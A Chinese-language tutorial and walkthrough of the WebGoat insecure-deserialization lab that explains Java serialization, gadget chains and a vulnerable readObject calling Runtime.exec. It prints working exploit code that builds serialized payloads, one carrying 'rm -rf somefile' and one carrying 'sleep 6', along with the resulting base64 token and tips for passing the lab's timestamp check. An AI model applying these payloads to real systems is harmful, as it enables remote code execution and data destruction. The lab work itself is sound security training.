1、概念
使用反序列化在各編程語言中略有不同,如Java、PHP、Python、Ruby、C/C++等等,但在關鍵概念上是一樣的
序列化:將(內存中的)對象轉化成數據格式,以便存儲或傳輸
反序列化:即序列化的反過程,從某種格式的數據中構建對象
如今最受歡迎的序列化數據格式是JSON,而在這之前是XML,只有數據是序列化的,而代碼本身不是
2、Native Serialization-本地序列化/客制序列化
一些編程語言提供了自己的序列化功能,所使用的數據格式比一般的JSON或XML擁有更多的特性和功能,甚至可以自行指定序列化的過程。序列化/反序列化的過程以及這些特性可能會被攻擊者惡意利用,從而實現DOS攻擊、越權攻擊以及RCE-遠程代碼執行等目的
3、最簡單的例子
InputStream is = request.getInputStream();ObjectInputStream ois = new ObjectInputStream(is);AcmeObject acme = (AcmeObject)ois.readObject();
這段代碼期望獲取一個AcmeObject,但在強制類型轉換之前調用了readObject()方法。攻擊者需要做的就是在類路徑中,找到一個支持序列化的類,來在調用readObject()時執行危險操作。(也就是按照原應用偽冒這個類,然后序列化后插入惡意代碼)
package org.dummy.insecure.framework; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.ObjectInputStream; import java.io.Serializable; import java.time.LocalDateTime; public class VulnerableTaskHolder implements Serializable { private static final long serialVersionUID = 1; private String taskName; private String taskAction; private LocalDateTime requestedExecutionTime; public VulnerableTaskHolder(String taskName, String taskAction) { super(); this.taskName = taskName; this.taskAction = taskAction; this.requestedExecutionTime = LocalDateTime.now(); } private void readObject( ObjectInputStream stream ) throws Exception { //deserialize data so taskName and taskAction are available stream.defaultReadObject(); //blindly run some code. #code injection Runtime.getRuntime().exec(taskAction); } }
針對上面的Java類,攻擊者可以序列化一個惡意對象並形成RCE,Exploit如下:
VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile"); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(go); oos.flush(); byte[] exploit = bos.toByteArray();
4、Gadgets Chain
程序在自己執行反序列化時,執行危險操作的類(這里稱之為gadget)是很少見的。但是找到一個在反序列化時會作用到其他gadget的gadget卻很常見。並通常會帶來更多的作用效果,一個作用到下一個,直到真正的危險操作被執行。這一串類,我們稱之為Gadgets Chain,尋找gadget來構築可利用的gadgets chain是安全研究人員的一個熱門話題。這通常需要大量的時間去閱讀代碼。
5、題目,利用反序列化漏洞執行延遲五秒的操作
8.2.2版本,審計以下關鍵代碼(尤其標紅處),以及多次嘗試、debug調試后,發現此題答案需要滿足以下幾個條件:
public class InsecureDeserializationTask extends AssignmentEndpoint {
@PostMapping("/InsecureDeserialization/task")
@ResponseBody
public AttackResult completed(@RequestParam String token) throws IOException {
String b64token;
long before;
long after;
int delay;
b64token = token.replace('-', '+').replace('_', '/');
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
before = System.currentTimeMillis();
Object o = ois.readObject();
if (!(o instanceof VulnerableTaskHolder)) {//必須是VulnerableTaskHolder得實例,所以包名也得一致
if (o instanceof String) {
return failed(this).feedback("insecure-deserialization.stringobject").build();
}
return failed(this).feedback("insecure-deserialization.wrongobject").build();
}
after = System.currentTimeMillis();
} catch (InvalidClassException e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
} catch (IllegalArgumentException e) {//有時效性,如果不滿足時效會報錯,經嘗試驗證,生成requestedExecutionTime時減去4/5分鍾可行
return failed(this).feedback("insecure-deserialization.expired").build();
} catch (Exception e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
}
//檢查延時時間是否滿足延時5秒
delay = (int) (after - before);
if (delay > 7000) {
return failed(this).build();
}
if (delay < 3000) {
return failed(this).build();
}
return success(this).build();
}
}
VulnerableTaskHolder的readObject函數
/**
* Execute a task when de-serializing a saved or received object.
* @author stupid develop
*/
private void readObject( ObjectInputStream stream ) throws Exception {
//unserialize data so taskName and taskAction are available
stream.defaultReadObject();
//do something with the data
log.info("restoring task: {}", taskName);
log.info("restoring time: {}", requestedExecutionTime);
// 有時間戳檢查,並且在當前時間之前10分鍾以內
if (requestedExecutionTime!=null &&
(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
//do nothing is the time is not within 10 minutes after the object has been created
log.debug(this.toString());
throw new IllegalArgumentException("outdated");
}
//condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
log.info("about to execute: {}", taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
log.info(line);
}
} catch (IOException e) {
log.error("IO Exception", e);
}
}
}
1
)、創建的對象必須是VulnerableTaskHolder類的實例,包名得一致;
2)、創建的序列化對象,時間戳必須在當前時間的前十分鍾以內,否則會報
The task is not executable between now and the next ten minutes, so the action will be ignored. Maybe you copied an old solution? Let's try again
錯誤。所以VulnerableTaskHolder類中的構造方法得減去一定得時間,比如4分鍾
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now().minusMinutes(4);//獲得當前時間並減去4分鍾
}
附件https://github.com/pofabs/p5Security/blob/main/SerialTestWeb.zip 提供了一個java序列化測試的demo,可以下載下來后在idea中執行。需要配置本地maven倉庫,如有報錯自行搜索錯誤信息解決即可
如果為了偷懶,也可以直接在IDEA中部署WebGoat源代碼(
網上一般都有教程),然后按照以下步驟去執行
5.1、在VulnerableTaskHolder同級目錄下創建一個SerialMain.java
代碼如下
package org.dummy.insecure.framework;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class SerialMain {
static public void main(String[] args){
try{
VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
String exp = Base64.getEncoder().encodeToString(exploit);
System.out.println(exp);
} catch (Exception e){
}
}
}
5.2、參照2)修改VulnerableTaskHolder中的
this.requestedExecutionTime = LocalDateTime.now().minusMinutes(4); 編譯運行SerialMain得到token:
rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAflCx4SGSwFVz+geHQAB3NsZWVwIDZ0AAVzbGVlcA==

5.3、恢復5.2中的代碼為
this.requestedExecutionTime = LocalDateTime.now(),重新部署webgoat,然后訪問題目輸入token,成功
